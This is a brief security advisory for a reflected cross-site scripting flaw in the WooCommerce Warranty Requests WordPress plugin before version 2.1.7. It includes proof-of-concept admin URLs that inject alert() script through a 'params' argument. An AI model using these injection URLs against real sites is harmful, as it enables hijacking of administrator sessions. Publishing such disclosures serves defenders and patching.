WooCommerce Warranty Requests < 2.1.7 - Reflected XSS

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

PoC

Make a logged in admin open the URL below v <= 2.1.6 https://example.com/wp-admin/admin.php?page=warranties&amp;view;=updater&amp;act;=migrate_products&amp;params;[xx %3D 1%3B alert(1)%3B %2F%2F]=x v < 2.1.6 https://example.com/wp-admin/admin.php?page=warranties&amp;view;=updater&amp;act;=migrate_products&amp;params;[x]=xxxx'qqqqq<%2Fscript><script>alert(document.domain)<%2Fscript>